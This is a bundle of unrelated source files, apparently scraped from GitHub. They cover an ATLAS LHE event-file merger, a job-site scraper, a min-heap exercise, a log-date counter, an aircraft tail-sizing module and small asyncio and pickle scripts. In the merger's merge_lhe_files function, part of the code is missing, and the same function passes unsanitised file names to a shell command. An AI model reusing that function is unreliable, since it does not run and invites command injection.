self.logger.info( 'Input files: {0} {1} {2} {3}'.format( powhegLHE_input, prophecyLHE4e, prophecyLHE4mu, prophecyLHE2e2mu ) )\n\n ## Setup heartbeat thread\n heartbeat = HeartbeatTimer(600., \"{}/eventLoopHeartBeat.txt\".format(self.__run_directory))\n heartbeat.setName(\"heartbeat thread\")\n heartbeat.daemon = True # Allow program to exit if this is the only live thread\n heartbeat.start()\n\n ## check if input files exist\n self.logger.info( 'Checking if {0} exists.'.format( powhegLHE_input ) )\n if not os.path.isfile( powhegLHE_input ):\n self.logger.error( 'File {0} does NOT exist.'.format( powhegLHE_input ) )\n raise ValueError('File {0} does NOT exist.'.format( powhegLHE_input ))\n\n self.logger.info( 'Checking if {0} exists.'.format( prophecyLHE4e ) )\n if not os.path.isfile( prophecyLHE4e ):\n self.logger.error( 'File {0} does NOT exist.'.format( prophecyLHE4e ) )\n raise ValueError('File {0} does NOT exist.'.format( prophecyLHE4e ))\n\n self.logger.info( 'Checking if {0} exists.'.format( prophecyLHE4mu ) )\n if not os.path.isfile( prophecyLHE4mu ):\n self.logger.error( 'File {0} does NOT exist.'.format( prophecyLHE4mu ) )\n raise ValueError('File {0} does NOT exist.'.format( prophecyLHE4mu ))\n\n self.logger.info( 'Checking if {0} exists.'.format( prophecyLHE2e2mu ) )\n if not os.path.isfile( prophecyLHE2e2mu ):\n self.logger.error( 'File {0} does NOT exist.'.format( prophecyLHE2e2mu ) )\n raise ValueError('File {0} does NOT exist.'.format( prophecyLHE2e2mu ))\n\n self.logger.info( 'Input files found. Moving them to temporary files to produce properly named final output {0}.'.format( self.output_events_file_name ) )\n\n try :\n os.rename( prophecyLHE4e, prophecyLHE4e + '.tmp' )\n except OSError :\n self.logger.error( 'Moving of file {0} failed - not expected.'.format( prophecyLHE4e ) )\n\n try :\n os.rename( prophecyLHE4mu, prophecyLHE4mu + '.tmp' )\n except OSError :\n self.logger.error( 'Moving of file {0} failed - not expected.'.format( prophecyLHE4mu ) )\n\n try :\n os.rename( prophecyLHE2e2mu, prophecyLHE2e2mu + '.tmp' )\n except OSError :\n self.logger.error( 'Moving of file {0} failed - not expected.'.format( prophecyLHE2e2mu ) )\n\n self.running_process = []\n\n self.runMerging(powhegLHE_input, prophecyLHE4e + '.tmp', prophecyLHE4mu + '.tmp', prophecyLHE2e2mu + '.tmp', random_seed)\n ## Display generation output until finished then kill heartbeat thread\n heartbeat.cancel()\n\n ## Print timing information\n generation_end = time.time()\n elapsed_time = generation_end - time_start\n self.logger.info( 'Running ProphecyPowhegMerger took {0}.'.format( HeartbeatTimer.readable_duration(elapsed_time) ) )\n\n self.logger.info( 'Removing initial LHE files of Prophecy and Powheg stored as *tmp.' )\n\n ## Print finalisation message\n self.logger.info( 'Finished at {0}'.format( time.asctime() ) )\n return\n\n\n def runMerging(configurator, powhegLHE, prophecyLHE4e, prophecyLHE4mu, prophecyLHE2e2mu, random_seed, stdin=None) :\n configurator.logger.info( 'runMerging on {0}, {1}, {2} and {3}'.format( powhegLHE, prophecyLHE4e, prophecyLHE4mu, prophecyLHE2e2mu ) )\n if configurator.logger.level >= Logging.logging.DEBUG :\n configurator.running_process.append(subprocess.Popen( [configurator._merger_executable,'--inPowheg',powhegLHE,'--inProphecy4e',prophecyLHE4e,'--inProphecy4mu',prophecyLHE4mu,'--inProphecy2e2mu',prophecyLHE2e2mu,'--outLHE',configurator.output_events_file_name,'--randomSeed',random_seed,'--debug'], stdout=subprocess.PIPE, stdin=stdin, stderr=subprocess.STDOUT ) )\n else :\n configurator.running_process.append(subprocess.Popen( [configurator._merger_executable,'--inPowheg',powhegLHE,'--inProphecy4e',prophecyLHE4e,'--inProphecy4mu',prophecyLHE4mu,'--inProphecy2e2mu',prophecyLHE2e2mu,'--outLHE',configurator.output_events_file_name,'--randomSeed',random_seed,'--debug'], stdout=subprocess.PIPE, stdin=stdin, stderr=subprocess.STDOUT ) )\n configurator.logger.info( 'runMerging run mergeProphecy4f: --inPowheg {0} --inProphecy4e {1} --inProphecy4mu {2} --inProphecy2e2mu {3} --outLHE {4} --randomSeed {5}'.format( powhegLHE, prophecyLHE4e, prophecyLHE4mu, prophecyLHE2e2mu, configurator.output_events_file_name,random_seed) )\n\n while configurator.running_process :\n # Write output buffer if any\n for process in configurator.running_process :\n while True :\n output = process.stdout.readline().rstrip()\n if len(output) == 0 : break\n configurator.logger.info( '{0}'.format(output) )\n if process.poll() is not None : # process has ended\n # Flush buffer and print final output (if any) to screen\n process.stdout.flush()\n while True :\n output = process.stdout.readline().rstrip()\n if len(output) == 0 : break\n configurator.logger.info( '{0}'.format(output) )\n # Close output stream and remove process from list\n process.stdout.close()\n configurator.running_process.remove( process )\n configurator.logger.info( 'Merging finished - all done.' )\n\n ## Get output file name\n @property\n def output_events_file_name(self) :\n return self.__output_events_file_name\n\n ## Get input Powheg file name\n @property\n def input_powheg_file_name(self) :\n return self.__input_powheg_file_name\n\n ## Set input Powheg file name\n @input_powheg_file_name.setter\n def input_powheg_file_name(self, value) :\n self.__input_powheg_file_name = value\n\n ## Get input Prophecy file name\n @property\n def input_prophecy4e_file_name(self) :\n return self.__input_prophecy4e_file_name\n\n ## Get input Prophecy file name\n @property\n def input_prophecy4mu_file_name(self) :\n return self.__input_prophecy4mu_file_name\n\n @property\n def input_prophecy2e2mu_file_name(self) :\n return self.__input_prophecy2e2mu_file_name\n\n @property\n def random_seed(self) :\n return self.__random_seed\n \n ## Set input Prophecy file name\n @input_prophecy4e_file_name.setter\n def input_prophecy4e_file_name(self, value) :\n self.__input_prophecy4e_file_name = value\n\n ## Set input Prophecy file name\n @input_prophecy4mu_file_name.setter\n def input_prophecy4mu_file_name(self, value) :\n self.__input_prophecy4mu_file_name = value\n\n @input_prophecy2e2mu_file_name.setter\n def input_prophecy2e2mu_file_name(self, value) :\n self.__input_prophecy2e2mu_file_name = value\n\n @random_seed.setter\n def random_seed(self, value) :\n self.__random_seed = value\n\n ## Get handle to logger\n @property\n def logger(self) :\n return self.__logger\n\n # This function merges a list of input LHE file to make one outputFile. The header is taken from the first\n # file, but the number of events is updated to equal the total number of events in all the input files\n def merge_lhe_files(self, listOfFiles, outputFile):\n if(os.path.exists(outputFile)):\n self.logger.info( 'outputFile {0} already exists. Will rename to {1}.OLD'.format ( outputFile, outputFile ) )\n os.rename(outputFile,outputFile+\".OLD\")\n output = open(outputFile,'w')\n holdHeader = \"\"\n nevents=0\n for file in listOfFiles:\n cmd = \"grep /event \"+file+\" | wc -l\"\n nevents+=int(subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True))\n \n for file in listOfFiles:\n inHeader = True\n header = \"\"\n self.logger.info( '*** Starting to merge file {0}'.format ( file ) )\n for line in open(file,\"r\"):\n ## Reading first event signals that we are done with all the header information\n ## Using this approach means the script will properly handle any metadata stored\n ## at the beginning of the file. Note: aside from the number of events, no metadata\n ## is updated after the first header is read (eg the random number seed recorded will be\n ## that of the first file.\n if(\"\". We don't want to write this out until all\n ## the files have been read. The elif below writes out all the events.\n elif(not inHeader and not (\"\" in line)):\n output.write(line)\n if(inHeader):\n ## Format for storing number of events different in MG and Powheg \n if(\"nevents\" in line):\n ## MG5 format is \"n = nevents\"\n tmp = line.split(\"=\")\n line = line.replace(tmp[0],str(nevents))\n elif(\"numevts\" in line):\n ## Powheg format is numevts n\n tmp = line.split(\" \")\n nnn = str(nevents)\n line = line.replace(tmp[1],nnn)\n header+=line\n output.write(\"\\n\")\n output.close()\n \n","repo_name":"rolandjansky/athena","sub_path":"Generators/Prophecy4fControl/python/ProphecyPowhegMerge.py","file_name":"ProphecyPowhegMerge.py","file_ext":"py","file_size_in_byte":12237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26146803263","text":"\nfrom os import confstr\n\nfrom .scraper import Scraper\nfrom .util import Util\n\n\nclass CareerBuilderScrepe(Scraper):\n DOMAIN = \"https://www.careerbuilder.com\"\n args_scraper = {\"class\": \"data-results-content-parent\"}\n with_headers = True\n\n def scrape_description(self, job):\n job_desc = self.scrape(job[\"link\"],\n {\"class\": \"data-display-container\"})\n if len(job_desc) == 0:\n return None\n \n desc = job_desc[0].find(\"p\")\n req = job_desc[0].find(True, {\"class\": \"bloc\"})\n # or (tag.name == \"div\" and tag.get(\"class\") == \"bloc\")]\n return str(desc)+str(req)\n\n def scrape_jobs(self):\n for job in self.data:\n\n if job is None:\n continue\n\n link = job.find(True, {\"class\": \"job-listing-item\"})[\"href\"]\n url = self.DOMAIN+link\n title = Util.get_att(\n job.find(True, {\"class\": \"data-results-title\"}), \"text\")\n summary = Util.get_att(\n job.find(True, {\"class\": \"show-mobile\"}), \"text\")\n enterprise = Util.get_att(\n job.find(True, {\"class\": \"data-details\"}), \"text\")\n sn = job.find_all(lambda tag: tag.name ==\n \"div\" and tag.get(\"class\") == [\"data-snapshot\"])\n if len(sn) > 0:\n salary = sn[0].find(lambda tag: tag.name ==\n \"div\" and tag.get(\"class\") == [\"block\"])\n job_description = {\n \"summary\": summary,\n \"title\": title,\n \"link\": url,\n \"enterprise\": enterprise.replace(\"\\n\", \"\"),\n \"salary\": Util.get_att(salary, \"text\") if salary else None,\n }\n self.jobs.append(job_description)\n\n self.scrape_jobs_descriptions()\n\n return self.jobs\n\n\n# if __name__ == \"__main__\":\n# location = \"Mexico\"\n# keys = [\"nodejs\"]\n# query = \"+\".join(keys)\n# url = f\"https://www.careerbuilder.com/jobs?utf8=%E2%9C%93&keywords={query}&location={location}\"\n# jobs = CareerBuilderScrepe(url).scrape_jobs()\n# print(jobs)\n","repo_name":"mcuv3/Tripalium","sub_path":"backend/app/scraping/careerbuilder.py","file_name":"careerbuilder.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18359344881","text":"class AdaptedHeap: # min_heap으로 정의함!\n def __init__(self):\n self.A = []\n self.D = {} # dictionary D[key] = index\n\n def __str__(self):\n return str(self.A)\n\n def __len__(self):\n return len(self.A)\n\n def insert(self, key):\n # code here\n # key 값이 최종 저장된 index를 리턴한다!\n\n index = len(self.A)\n self.D[key] = index\n self.A.append(key)\n self.heapify_up(self.D[key])\n return self.D[key]\n\n def heapify_up(self, k):\n # code here: key 값의 index가 변경되면 그에 따라 D 변경 필요\n p = (k-1) // 2\n if p >= 0 and self.A[p] > self.A[k]:\n self.A[k], self.A[p] = self.A[p], self.A[k]\n self.D[self.A[k]], self.D[self.A[p]\n ] = self.D[self.A[p]], self.D[self.A[k]]\n self.heapify_up(p)\n\n def heapify_down(self, k):\n # code here: key 값의 index가 변경되면 그에 따라 D 변경 필요\n L, R = 2*k + 1, 2*k + 2\n s_value_index = k\n if(L <= len(self.A) - 1 and self.A[k] > self.A[L]):\n s_value_index = L\n if(R <= len(self.A) - 1 and self.A[k] > self.A[R] and self.A[L] > self.A[R]):\n s_value_index = R\n if (s_value_index != k):\n self.A[k], self.A[s_value_index] = self.A[s_value_index], self.A[k]\n self.D[self.A[k]], self.D[self.A[s_value_index]\n ] = self.D[self.A[s_value_index]], self.D[self.A[k]]\n self.heapify_down(s_value_index)\n\n def find_min(self):\n # 빈 heap이면 None 리턴, 아니면 min 값 리턴\n # code here\n if (len(self.A) == 0):\n return None\n else:\n return self.A[0]\n\n def delete_min(self):\n # 빈 heap이면 None 리턴, 아니면 min 값 지운 후 리턴\n # code here\n if (len(self.A) == 0):\n return None\n else:\n k = self.D[self.find_min()]\n print(k)\n self.A[k], self.A[-1] = self.A[-1], self.A[k]\n self.D[self.A[k]], self.D[self.A[-1]\n ] = self.D[self.A[-1]], self.D[self.A[k]]\n x = self.A.pop()\n self.D.pop(x)\n self.heapify_down(k)\n return x\n\n def update_key(self, old_key, new_key):\n # old_key가 힙에 없으면 None 리턴\n # 아니면, new_key 값이 최종 저장된 index 리턴\n # code here\n if old_key not in self.D:\n return None\n old_key_index = self.D[old_key]\n if old_key > new_key:\n self.A[old_key_index] = new_key\n self.D.pop(old_key)\n self.D.update({self.A[old_key_index]: old_key_index})\n self.heapify_up(old_key_index)\n if old_key < new_key:\n self.A[old_key_index] = new_key\n self.D.update({self.A[old_key_index]: old_key_index})\n self.D.pop(old_key)\n self.heapify_down(old_key_index)\n return self.D[new_key]\n\n\n# 아래 명령 처리 부분은 수정하지 말 것!\nH = AdaptedHeap()\nwhile True:\n cmd = input().split()\n if cmd[0] == 'insert':\n key = int(cmd[1])\n loc = H.insert(key)\n print(f\"+ {int(cmd[1])} is inserted\")\n elif cmd[0] == 'find_min':\n m_key = H.find_min()\n if m_key != None:\n print(f\"* {m_key} is the minimum\")\n else:\n print(f\"* heap is empty\")\n elif cmd[0] == 'delete_min':\n m_key = H.delete_min()\n if m_key != None:\n print(f\"* {m_key} is the minimum, then deleted\")\n else:\n print(f\"* heap is empty\")\n elif cmd[0] == 'update':\n old_key, new_key = int(cmd[1]), int(cmd[2])\n idx = H.update_key(old_key, new_key)\n if idx == None:\n print(f\"* {old_key} is not in heap\")\n else:\n print(f\"~ {old_key} is updated to {new_key}\")\n elif cmd[0] == 'print':\n print(H)\n elif cmd[0] == 'exit':\n break\n else:\n print(\"* not allowed command. enter a proper command!\")\n","repo_name":"panwoo1/DataStructure","sub_path":"Adapted_heap.py","file_name":"Adapted_heap.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9899679394","text":"import math\nfrom collections import defaultdict\n\n\ndef binconcat(a, b):\n abin = bin(a).replace(\"0b\", \"\")\n bbin = bin(b).replace(\"0b\", \"\")\n apb = str(abin) + str(bbin)\n bpa = str(bbin) + str(abin)\n n1 = int(apb,2)\n n2 = int(bpa, 2)\n return n1-n2\n\n\nt = int(input())\nfor _ in range(t):\n n = int(input())\n a = [int(x) for x in input().split()]\n binc = []\n if n<=500:\n for i in range(n):\n for j in range(n):\n binc.append(binconcat(a[i],a[j]))\n print(max(binc))\n else:\n ans = 0\n tmp = max(a)\n for x in range(n):\n binc.append(binconcat(tmp,a[x]))\n print(max(binc))\n","repo_name":"NavalPangtey/Competitive-programming","sub_path":"python/codechef/binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11921537356","text":"import json\r\nimport csv\r\nimport datetime\r\nfrom dateutil import parser\r\nfrom dateutil.rrule import *\r\n\r\n\r\nclass DateCounter:\r\n\r\n NOW = datetime.datetime.date(datetime.datetime.now())\r\n NOW_YEAR = NOW.year\r\n DATES = []\r\n date = \"\"\r\n # create list with all available dates in a year\r\n THIS_YEAR_DATES = list(rrule(DAILY, dtstart=parser.parse(str(NOW_YEAR)+\"0101\"), until=NOW))\r\n DAILY_COUNTS = {}\r\n DAY_IPS = {}\r\n\r\n def utc_to_local(utc_dt):\r\n \"\"\"\r\n :param utc_dt: datetime object in utc tz\r\n :return: datetime object containing utc_dt converted to local dt\r\n \"\"\"\r\n return utc_dt.replace(tzinfo=datetime.timezone.utc).astimezone(tz=None)\r\n\r\n # convert from file to list of strings\r\n with open(\"login.log\", \"r\") as logf:\r\n SAMPLE = logf.readlines()\r\n\r\n # convert from list of strings to list of json\r\n for i, r in enumerate(SAMPLE):\r\n r = json.loads(r)\r\n SAMPLE[i] = r\r\n time = SAMPLE[i].get(\"time\")\r\n SAMPLE[i][\"time\"] = utc_to_local(parser.parse(time)) # replace tz with local tz in dt object format\r\n\r\n for object in SAMPLE:\r\n if object[\"uri\"] in \"/user/login\":\r\n DATES.append((object[\"time\"].date(), object[\"remote_ip\"]))\r\n\r\n def organize_login_requests(self):\r\n for date in self.THIS_YEAR_DATES:\r\n # print(\"DATE: \", date.date())\r\n ips_in_day = {}\r\n count_for_day = 0\r\n for login in self.DATES:\r\n # print(\"LOGIN: \", login)\r\n if date.date() == login[0]:\r\n\r\n if login[1] not in ips_in_day:\r\n ips_in_day[login[1]] = 1\r\n count_for_day += 1\r\n else:\r\n ips_in_day[login[1]] += 1\r\n count_for_day += 1\r\n\r\n if count_for_day > 1:\r\n self.DAILY_COUNTS[str(date.date())] = ips_in_day\r\n self.DAILY_COUNTS[str(date.date())+\"Count\"] = count_for_day\r\n\r\n def write_json_file(self, confirm=False):\r\n if confirm is True:\r\n with open(\"Daily_active_users.json\", \"w+\") as jf:\r\n jf.write(json.dumps(self.DAILY_COUNTS))\r\n\r\n def write_csv_file(self, confirm=False):\r\n print(confirm)\r\n if bool(confirm) is True:\r\n with open(\"Daily_user_login.csv\", \"w+\") as csvf:\r\n csv_writer = csv.writer(csvf)\r\n csv_writer.writerow((\"Date\", \"Count\"))\r\n csv_writer.writerows(self.DAILY_COUNTS.items())\r\n\r\n\r\ntemp = DateCounter()\r\ntemp.organize_login_requests()\r\ntemp.write_csv_file(1)\r\n","repo_name":"samiam109/sorting","sub_path":"Get_daily_monthly_active_users.py","file_name":"Get_daily_monthly_active_users.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8533030342","text":"import json\nimport sys\nimport pathlib as pl\nimport os\nimport numpy as np\nimport pandas as pd\nfrom warnings import warn\nimport pdb\n\nsys.path.append(str(list(pl.Path(__file__).parents)[2]))\nos.chdir(str(list(pl.Path(__file__).parents)[2]))\nimport matplotlib.pyplot as plt\n# from input.data_structures import *\nfrom modules.stab_ctrl.loading_diagram import loading_diagram\nimport input.GeneralConstants as const\nfrom modules.stab_ctrl.aetheria_stability_derivatives_edited import downwash, downwash_k\n\n\ndef stabcg(ShS, x_ac, CLah, CLaAh, depsda, lh, c, VhV2, SM):\n x_cg = x_ac + (CLah/CLaAh)*(1-depsda)*ShS*(lh/c)*VhV2 - SM\n return x_cg\ndef ctrlcg(ShS, x_ac, Cmac, CLAh, CLh, lh, c, VhV2):\n x_cg = x_ac - Cmac/CLAh + CLh*lh*ShS * VhV2 / (c * CLAh)\n return x_cg\n\ndef CLaAhcalc(CLaw, b_f, b, S, c_root):\n CLaAh = CLaw * (1 + 2.15 * b_f / b) * (S - b_f * c_root) / S + np.pi * b_f ** 2 / (2 * S)\n return CLaAh\n\ndef x_ac_fus_1calc(b_f, h_f, l_fn, CLaAh, S, MAC):\n x_ac_stab_fus1_bar = -(1.8 * b_f * h_f * l_fn) / (CLaAh * S * MAC)\n return x_ac_stab_fus1_bar\n\ndef x_ac_fus_2calc(b_f, S, b, Lambdac4, taper, MAC):\n x_ac_stab_fus2_bar = (0.273 * b_f * S * (b - b_f) * np.tan(Lambdac4)) / ((1 + taper) * MAC ** 2 * b*(b + 2.15 * b_f))\n return x_ac_stab_fus2_bar\n\ndef betacalc(M):\n return np.sqrt(1-M**2)\n\ndef CLahcalc(A_h, beta, eta, Lambdah2):\n CLah = 2 * np.pi * A_h / (2 + np.sqrt(4 + (A_h * beta / eta) ** 2 * (1 + (np.tan(Lambdah2)) ** 2 / beta ** 2)))\n return CLah\n\ndef stab_formula_coefs(CLah, CLaAh, depsda, l_h, MAC,Vh_V_2, x_ac_stab_bar, SM):\n m_stab = 1 / ((CLah / CLaAh) * (1 - depsda) * (l_h / MAC) * Vh_V_2)\n q_stab = (x_ac_stab_bar - SM) / ((CLah / CLaAh) * (1 - depsda) * (l_h / MAC) * Vh_V_2)\n return m_stab, q_stab\n\ndef CLh_approach_estimate(A_h):\n CLh_approach = -0.35 * A_h ** (1 / 3)\n return CLh_approach\n\ndef cmac_fuselage_contr(b_f, l_f, h_f, CL0_approach, S, MAC, CLaAh):\n Cm_ac_fuselage = -1.8 * (1 - 2.5 * b_f / l_f) * np.pi * b_f * h_f * l_f * CL0_approach / (4 * S * MAC * CLaAh)\n return Cm_ac_fuselage\n\ndef ctrl_formula_coefs(CLh_approach, CLAh_approach, l_h, MAC, Vh_V_2, Cm_ac, x_ac_stab_bar):\n m_ctrl = 1 / ((CLh_approach / CLAh_approach) * (l_h / MAC) * Vh_V_2)\n q_ctrl = ((Cm_ac / CLAh_approach) - x_ac_stab_bar) / ((CLh_approach / CLAh_approach) * (l_h / MAC) * Vh_V_2)\n return m_ctrl, q_ctrl\n\n\ndef wing_location_horizontalstab_size(WingClass, FuseClass, Aeroclass, VtailClass, AircraftClass, PowerClass, EngineClass, StabClass, A_h, plot=False, CLh_approach = None, stepsize = 0.002, cg_shift = 0):\n CLAh_approach = Aeroclass.cL_max * 0.9 # Assumes fuselage contribution negligible\n\n if CLh_approach == None:\n CLh_approach = CLh_approach_estimate(A_h)\n\n # Initalise wing placement optimisaton\n dict_log = {\n \"wing_loc_lst\": [],\n \"cg_front_lst\": [],\n \"cg_rear_lst\": [],\n \"Shs_min_lst\": [],\n \"cg_dict_marg_lst\": [],\n }\n\n for wing_loc in np.linspace(0.3, 0.65, np.size(np.arange(-1,2,stepsize))):\n l_h = FuseClass.length_fuselage * (1-wing_loc)\n l_fn = wing_loc * FuseClass.length_fuselage - const.x_ac_stab_wing_bar * WingClass.chord_mac - WingClass.x_lemac\n depsda = downwash(downwash_k(l_fn, WingClass.span), Aeroclass.cL_alpha, WingClass.aspect_ratio) # TODO compute downwash from functions\n cg_dict, cg_dict_margin = loading_diagram(wing_loc * FuseClass.length_fuselage, FuseClass.length_fuselage, FuseClass, WingClass, VtailClass, AircraftClass, PowerClass, EngineClass )\n cg_front_bar = (cg_dict_margin[\"frontcg\"] - wing_loc * FuseClass.length_fuselage + const.x_ac_stab_wing_bar * WingClass.chord_mac)/ WingClass.chord_mac\n cg_rear_bar = (cg_dict_margin[\"rearcg\"] - wing_loc * FuseClass.length_fuselage + const.x_ac_stab_wing_bar * WingClass.chord_mac)/ WingClass.chord_mac\n CLaAh = CLaAhcalc(Aeroclass.cL_alpha, FuseClass.width_fuselage_outer, WingClass.span, WingClass.surface, WingClass.chord_root)\n\n # Computing aerodynamic centre\n x_ac_stab_fus1_bar = x_ac_fus_1calc(FuseClass.width_fuselage_outer, FuseClass.height_fuselage_outer, l_fn, CLaAh, WingClass.surface, WingClass.chord_mac)\n x_ac_stab_fus2_bar = x_ac_fus_2calc(FuseClass.width_fuselage_outer, WingClass.surface, WingClass.span, WingClass.quarterchord_sweep, WingClass.taper, WingClass.chord_mac)\n x_ac_stab_bar = const.x_ac_stab_wing_bar + x_ac_stab_fus1_bar + x_ac_stab_fus2_bar + const.x_ac_stab_nacelles_bar\n\n # Computing moment about the aerodynamic centre\n Cm_ac_fuselage = cmac_fuselage_contr(FuseClass.width_fuselage_outer, FuseClass.length_fuselage, FuseClass.height_fuselage_outer, Aeroclass.cL_alpha0_approach, WingClass.surface, WingClass.chord_mac, CLaAh) # CLaAh for ctrl is different than for stab if cruise in compressible flow\n Cm_ac = Aeroclass.cm_ac + const.Cm_ac_flaps + Cm_ac_fuselage + const.Cm_ac_nacelles\n \n # computing misc variables required\n beta = betacalc(const.mach_cruise)\n CLah = CLahcalc(A_h, beta, const.eta_a_f, const.sweep_half_chord_tail)\n\n # Creating actually scissor plot\n cg_bar = np.arange(-1,2,stepsize)\n m_ctrl, q_ctrl = ctrl_formula_coefs(CLh_approach, CLAh_approach, l_h, WingClass.chord_mac, const.Vh_V_2, Cm_ac, x_ac_stab_bar) # x_ac_bar for ctrl is different than for stab if cruise in compressible flow\n m_stab, q_stab = stab_formula_coefs(CLah, CLaAh, depsda, l_h, WingClass.chord_mac, const.Vh_V_2, x_ac_stab_bar, const.stab_margin)\n ShS_stab = m_stab * cg_bar - q_stab\n ShS_ctrl = m_ctrl * cg_bar + q_ctrl\n\n # retrieving minimum tail sizing\n idx_ctrl = cg_bar == min(cg_bar, key=lambda x:abs(x - cg_front_bar))\n idx_stab = cg_bar == min(cg_bar, key=lambda x:abs(x - cg_rear_bar))\n ShSmin = max(ShS_ctrl[idx_ctrl], ShS_stab[idx_stab])[0]\n\n # Storing results\n dict_log[\"wing_loc_lst\"].append(wing_loc)\n dict_log[\"cg_front_lst\"].append(cg_front_bar)\n dict_log[\"cg_rear_lst\"].append(cg_rear_bar)\n dict_log[\"Shs_min_lst\"].append(ShSmin)\n dict_log[\"cg_dict_marg_lst\"].append(cg_dict_margin)\n\n\n # Selecting optimum design\n design_idx = np.argmin(dict_log[\"Shs_min_lst\"])\n design_shs = dict_log[\"Shs_min_lst\"][design_idx]\n design_wing_loc = dict_log[\"wing_loc_lst\"][design_idx]\n design_cg_front_bar = dict_log[\"cg_front_lst\"][design_idx]\n design_cg_rear_bar = dict_log[\"cg_rear_lst\"][design_idx]\n design_cg_dict_margin = dict_log[\"cg_dict_marg_lst\"][design_idx]\n\n if plot:\n plt.plot(dict_log[\"wing_loc_lst\"], dict_log[\"Shs_min_lst\"])\n plt.show()\n\n WingClass.x_lewing = design_wing_loc*FuseClass.length_fuselage - 0.24 * WingClass.chord_mac - WingClass.x_lemac\n VtailClass.virtual_hor_surface = design_shs*WingClass.surface\n\n return design_shs, design_wing_loc, design_cg_front_bar, design_cg_rear_bar, design_cg_dict_margin\n\n\n","repo_name":"dmkeijzer/AetheriaPackage","sub_path":"modules/stab_ctrl/wing_loc_horzstab_sizing.py","file_name":"wing_loc_horzstab_sizing.py","file_ext":"py","file_size_in_byte":6982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30446235802","text":"\r\n# Task1, 3 and 6 will run independence\r\n# Task2 is done after task1 is done\r\n# Task4 and 5 are done after taks2 is done\r\n# Task7 is done after task3 is done\r\n# Task8 is done after task6 is done\r\n\r\nimport asyncio\r\n\r\nasync def task1():\r\n print('Running Task1')\r\n await asyncio.sleep(1)\r\n print('>> Task1 done!') \r\n await task2() \r\n \r\nasync def task2():\r\n print('Running Task2')\r\n await asyncio.sleep(8)\r\n print('>> Task2 done!') \r\n await task4()\r\n await task5()\r\n \r\nasync def task3():\r\n print('Running Task3')\r\n await asyncio.sleep(3)\r\n print('>> Task3 done!')\r\n await task7()\r\n \r\nasync def task4():\r\n print('Running Task4')\r\n await asyncio.sleep(4)\r\n print('>> Task4 done!')\r\n\r\nasync def task5():\r\n print('Running Task5')\r\n await asyncio.sleep(1)\r\n print('>> Task5 done!')\r\n \r\nasync def task6():\r\n print('Running Task6')\r\n await asyncio.sleep(1)\r\n print('>> Task6 done!')\r\n await task8()\r\n\r\nasync def task7():\r\n print('Running Task7')\r\n await asyncio.sleep(1)\r\n print('>> Task7 done!')\r\n \r\nasync def task8():\r\n print('Running Task8')\r\n await asyncio.sleep(1)\r\n print('>> Task8 done!')\r\n \r\ndef main():\r\n ioloop = asyncio.get_event_loop()\r\n tasks = [ioloop.create_task(task1()), ioloop.create_task(task3()), ioloop.create_task(task6())]\r\n wait_tasks = asyncio.wait(tasks)\r\n ioloop.run_until_complete(wait_tasks)\r\n ioloop.close()\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"ebonat/intel_session_1","sub_path":"Week1/Code/intel_python_class/src/module_2/asyncio_tasks1.py","file_name":"asyncio_tasks1.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36405828420","text":"import pickle\n\nletters = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'X', 'Y', 'Z']\n\n\ndocs = {}\nnope = []\n\nfor l in letters:\n\twith open(f\"{l.lower()}_docs.p\", 'rb') as f:\n\t\tdocs.update(pickle.load(f))\n\twith open(f\"{l.lower()}_nope.p\", 'rb') as f:\n\t\tnope.extend(pickle.load(f))\n\n\nprint(f'{len(docs)} docs loaded')\nprint(f'{len(nope)} nope found')\npickle.dump(docs, open(f\"docs.p\", \"wb\"))\npickle.dump(nope, open(f\"nope.p\", \"wb\"))","repo_name":"danichmur/Information-retrieval","sub_path":"Task 5. BERT/merger.py","file_name":"merger.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35769961001","text":"import os\nfrom subprocess import call\nfrom setuptools import setup, find_packages, Extension\nimport commands\n\n# Resolves external binding via pkg config\ndef pkgconfig(*packages, **kw):\n '''Parses libraries from pkg config'''\n flag_map = {'-I': 'include_dirs', '-L': 'library_dirs', '-l': 'libraries'}\n for token in commands.getoutput(\"pkg-config --libs --cflags %s\" % ' '.join(packages)).split():\n if flag_map.has_key(token[:2]):\n kw.setdefault(flag_map.get(token[:2]), []).append(token[2:])\n else: # throw others to extra_link_args\n kw.setdefault('extra_link_args', []).append(token)\n for k, v in kw.iteritems(): # remove duplicated\n kw[k] = list(set(v))\n return kw\n\n# Install 3rd party QR code genarator\ncall(['python', \"setup.py\", \"install\"], cwd='3rdparty/pyqrcode/')\n\n# Adds all external libraries with a pc file\npkgstuff = pkgconfig('opencv')\n\n# Teseract is added manually\npkgstuff['include_dirs'].append('/usr/local/include/tesseract/')\npkgstuff['libraries'].append('tesseract_api')\npkgstuff['extra_compile_args'] = ['-g',]\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.txt')).read()\nCHANGES = open(os.path.join(here, 'CHANGES.txt')).read()\n\nrequires = [\n 'pyramid',\n 'WebError',\n 'mako',\n 'pyramid_simpleform',\n 'pyramid_mailer',\n 'pyramid_beaker',\n 'pymongo',\n 'webhelpers',\n 'PIL',\n 'pyDNS',\n ]\n\nformative_cv = Extension(\n 'formative_cv',\n [\n 'formative_cv/formative_cv.cpp',\n 'formative_cv/parse.cpp',\n 'formative_cv/segment.cpp',\n 'formative_cv/unskew.cpp'\n ],\n 